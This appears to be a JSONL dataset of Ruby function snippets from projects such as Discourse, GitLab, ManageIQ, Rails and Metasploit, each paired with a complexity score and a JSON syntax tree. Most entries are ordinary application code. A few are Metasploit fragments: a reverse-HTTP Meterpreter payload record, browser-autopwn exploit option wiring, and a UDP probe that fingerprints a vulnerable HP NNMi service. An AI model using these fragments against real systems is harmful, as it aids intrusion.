<brent_cook[at]rapid7.com>\"]},{\"type\":\"str\",\"children\":[\"timwr\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ZARCH\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseHttp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_zarch_Linux\"]}]}]}]}]}]}","id":"44d51219-5e62-4422-855c-1c0dd1b1a48f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/mobile_detection.rb","start_line":11,"raw_source":"def self.resolve_mobile_view!(user_agent, params, session)\n    return false unless SiteSetting.enable_mobile_theme\n\n    session[:mobile_view] = params[:mobile_view] if params && params.has_key?(:mobile_view)\n    session[:mobile_view] = nil if params && params.has_key?(:mobile_view) &&\n      params[:mobile_view] == \"auto\"\n\n    if session && session[:mobile_view]\n      session[:mobile_view] == \"1\"\n    else\n      mobile_device?(user_agent)\n    end\n  end","complexity_score":21.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"resolve_mobile_view!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_agent\"]},{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_mobile_theme\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"auto\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]},{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mobile_view\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[null,\"mobile_device?\",{\"type\":\"lvar\",\"children\":[\"user_agent\"]}]}]}]}]}","id":"db9b8d07-3ac3-4c4b-9dd0-f69370b4e67a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240528155548_add_cached_markdown_fields_to_version.rb","start_line":14,"raw_source":"def down\n    remove_column :catalog_resource_versions, :cached_markdown_version, :integer, null: true\n    remove_column :catalog_resource_versions, :readme, :text, null: true\n    remove_column :catalog_resource_versions, :readme_html, :text, null: true\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"catalog_resource_versions\"]},{\"type\":\"sym\",\"children\":[\"cached_markdown_version\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"catalog_resource_versions\"]},{\"type\":\"sym\",\"children\":[\"readme\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"catalog_resource_versions\"]},{\"type\":\"sym\",\"children\":[\"readme_html\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"2062f4c4-83f5-43bb-af02-725d1d1e3ec2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/system_console.rb","start_line":70,"raw_source":"def self.cleanup_proxy_processes\n    SystemConsole.where.not(:proxy_pid => nil).where(:host_name  => local_address).each do |console|\n      next unless %w[websocket_closed ticket_invalid].include?(console.proxy_status)\n\n      kill_proxy_process(console.proxy_pid)\n      console.destroy\n    end\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cleanup_proxy_processes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemConsole\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proxy_pid\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host_name\"]},{\"type\":\"send\",\"children\":[null,\"local_address\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"console\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"websocket_closed\"]},{\"type\":\"str\",\"children\":[\"ticket_invalid\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"proxy_status\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"kill_proxy_process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"proxy_pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console\"]},\"destroy\"]}]}]}]}","id":"00c6ae98-f300-4c60-8cb6-f3d3f8ca6f69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/setup_helper.rb","start_line":52,"raw_source":"def compile_into(dir)\n          command = %W[#{make} -C #{Rails.root.join('workhorse')} install PREFIX=#{File.absolute_path(dir)}]\n\n          make_out, make_status = Gitlab::Popen.popen(command)\n          unless make_status == 0\n            warn make_out\n            raise 'workhorse make failed'\n          end\n\n          # 'make install' puts the binaries in #{dir}/bin but the init script expects them in dir\n          FileUtils.mv(Dir[\"#{dir}/bin/*\"], dir)\n          # remove empty bin directory\n          FileUtils.rm_rf(\"#{dir}/bin\")\n        end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"compile_into\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"make\"]}]}]},{\"type\":\"str\",\"children\":[\"-C\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"workhorse\"]}]}]}]},{\"type\":\"str\",\"children\":[\"install\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PREFIX=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"absolute_path\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"make_out\"]},{\"type\":\"lvasgn\",\"children\":[\"make_status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Popen\"]},\"popen\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"make_status\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"lvar\",\"children\":[\"make_out\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"workhorse make failed\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/bin/*\"]}]}]},{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]}]},{\"type\":\"str\",\"children\":[\"/bin\"]}]}]}]}]}","id":"e723aa98-3950-4d7e-9b80-9cd727c34134"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sorting_helper.rb","start_line":206,"raw_source":"def due_date_option\n    { value: sort_value_due_date, text: sort_title_due_date, href: page_filter_path(sort: sort_value_due_date) }\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"due_date_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_due_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"sort_title_due_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"page_filter_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[null,\"sort_value_due_date\"]}]}]}]}]}]}]}","id":"21eb0564-e0c7-4989-8fce-e339719f1bdd"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":1319,"raw_source":"def test_nested_fields_with_auto_index\n    form_with(model: @post, scope: \"post[]\") do |f|\n      concat f.fields(:comment, model: @post) { |c|\n        concat c.text_field(:title)\n      }\n    end\n\n    expected = whole_form(\"/posts/123\", method: \"patch\") do\n      \"<input name='post[123][comment][title]' type='text' value='Hello World' id='post_123_comment_title' />\"\n    end\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_fields_with_auto_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"post[]\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"fields\",{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"text_field\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"<input name='post[123][comment][title]' type='text' value='Hello World' id='post_123_comment_title' />\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"4c1c16bd-5fa5-44ff-8982-9a31ff868845"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/base/lookup_container.rb","start_line":50,"raw_source":"def user_id_from_imported_user_id(import_id)\n      @users[import_id] || @users[import_id.to_s]\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"user_id_from_imported_user_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"import_id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"import_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"import_id\"]},\"to_s\"]}]}]}]}","id":"62909e01-aa33-422f-895a-4f64cdd5842d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/sidekiq_slis.rb","start_line":22,"raw_source":"def initialize_execution_slis!(possible_labels)\n          Gitlab::Metrics::Sli::Apdex.initialize_sli(:sidekiq_execution, possible_labels)\n          Gitlab::Metrics::Sli::ErrorRate.initialize_sli(:sidekiq_execution, possible_labels)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_execution_slis!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"possible_labels\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Sli\"]},\"Apdex\"]},\"initialize_sli\",{\"type\":\"sym\",\"children\":[\"sidekiq_execution\"]},{\"type\":\"lvar\",\"children\":[\"possible_labels\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Sli\"]},\"ErrorRate\"]},\"initialize_sli\",{\"type\":\"sym\",\"children\":[\"sidekiq_execution\"]},{\"type\":\"lvar\",\"children\":[\"possible_labels\"]}]}]}]}","id":"d8cae6a8-527a-46b0-9cca-d68af3d57e35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_autopwn2.rb","start_line":123,"raw_source":"def set_exploit_options(xploit)\n      # We could do a massive xploit.datastore.merge!(self.datastore), but this seems\n      # really expensive. Costs more loading time.\n\n      # Set options configurable by the user.\n      p = select_payload(xploit)\n      xploit.datastore['PAYLOAD']     = p.first[:payload_name]\n      xploit.datastore['LPORT']       = p.first[:payload_lport]\n      xploit.datastore['SRVHOST']     = datastore['SRVHOST']\n      xploit.datastore['SRVPORT']     = datastore['SRVPORT']\n      xploit.datastore['LHOST']       = get_payload_lhost\n\n      %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt|\n        xploit.datastore[opt] = datastore[opt] if datastore[opt]\n      end\n\n      # Set options only configurable by BAP.\n      xploit.datastore['DisablePayloadHandler'] = true\n      xploit.datastore['BrowserProfilePrefix']  = browser_profile_prefix\n      xploit.datastore['URIPATH']               = \"/#{assign_module_resource}\"\n      xploit.datastore['WORKSPACE']             = self.workspace\n\n      # Register this module as a child and copy datastore options\n      xploit.register_parent(self)\n    end","complexity_score":44.3,"ast_json":"{\"type\":\"def\",\"children\":[\"set_exploit_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xploit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"select_payload\",{\"type\":\"lvar\",\"children\":[\"xploit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload_lport\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"LHOST\"]},{\"type\":\"send\",\"children\":[null,\"get_payload_lhost\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"JsObfuscate\"]},{\"type\":\"str\",\"children\":[\"CookieName\"]},{\"type\":\"str\",\"children\":[\"VERBOSE\"]},{\"type\":\"str\",\"children\":[\"Retries\"]},{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"str\",\"children\":[\"SSLVersion\"]},{\"type\":\"str\",\"children\":[\"SSLCipher\"]},{\"type\":\"str\",\"children\":[\"URIHOST\"]},{\"type\":\"str\",\"children\":[\"URIPORT\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"BrowserProfilePrefix\"]},{\"type\":\"send\",\"children\":[null,\"browser_profile_prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assign_module_resource\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"WORKSPACE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"workspace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xploit\"]},\"register_parent\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"f37782f7-fd1f-4309-ac45-d999fd244292"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nabble.rb","start_line":168,"raw_source":"def body_from(p)\n    %w[m s].include?(p[\"msg_fmt\"]) ? parse_email(p[\"message\"]) : p[\"message\"]\n  rescue Email::Receiver::EmptyEmailError\n    puts \"Skipped #{p[\"node_id\"]}\"\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"body_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"m\"]},{\"type\":\"str\",\"children\":[\"s\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"msg_fmt\"]}]}]},{\"type\":\"send\",\"children\":[null,\"parse_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Receiver\"]},\"EmptyEmailError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Skipped \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]\",{\"type\":\"str\",\"children\":[\"node_id\"]}]}]}]}]}]},null]}]}","id":"8a175ad6-03a1-4b98-abb0-a2bbafad5663"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_email_logs.rb","start_line":42,"raw_source":"def has_user?(username)\n          if username.present?\n            element.has_css?(\".email-logs-user\", text: username)\n          else\n            element.has_no_css?(\".email-logs-user\")\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\".email-logs-user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\"]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\".email-logs-user\"]}]}]}]}","id":"5485e40e-dd3e-4d10-bd83-26001cc0bac8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/service_mixin.rb","start_line":34,"raw_source":"def remove_resource(rsc)\n    service_resources.find_by(:resource_type => rsc.class.base_class.name, :resource_id => rsc.id).try(:destroy)\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_resource\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rsc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsc\"]},\"class\"]},\"base_class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rsc\"]},\"id\"]}]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]}","id":"a8cb4220-1199-4521-966f-a9b45938dc09"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/hp_nnmi_pmd_bof.rb","start_line":78,"raw_source":"def check\n    header = [\n      0x2a5,  # pmdmgr_init pkt\n      0x3cc,  # signature\n      0xa0c,  # signature\n      0xca8   # signature\n    ].pack(\"V\")\n\n    data = \"\\x00\" * (0xfa4 - header.length)\n\n    pkt = header + data\n\n    connect_udp\n    udp_sock.put(pkt)\n    res = udp_sock.timed_read(8, 1)\n    if res.blank?\n      # To mitigate MacOSX udp sockets behavior\n      udp_sock.put(pkt)\n      res = udp_sock.timed_read(8)\n    end\n    disconnect_udp\n\n    if res.blank?\n      return Exploit::CheckCode::Unknown\n    elsif res.length == 8 && res.unpack(\"V\").first == 0x2a5\n      return Exploit::CheckCode::Detected\n    else\n      return Exploit::CheckCode::Unknown\n    end\n  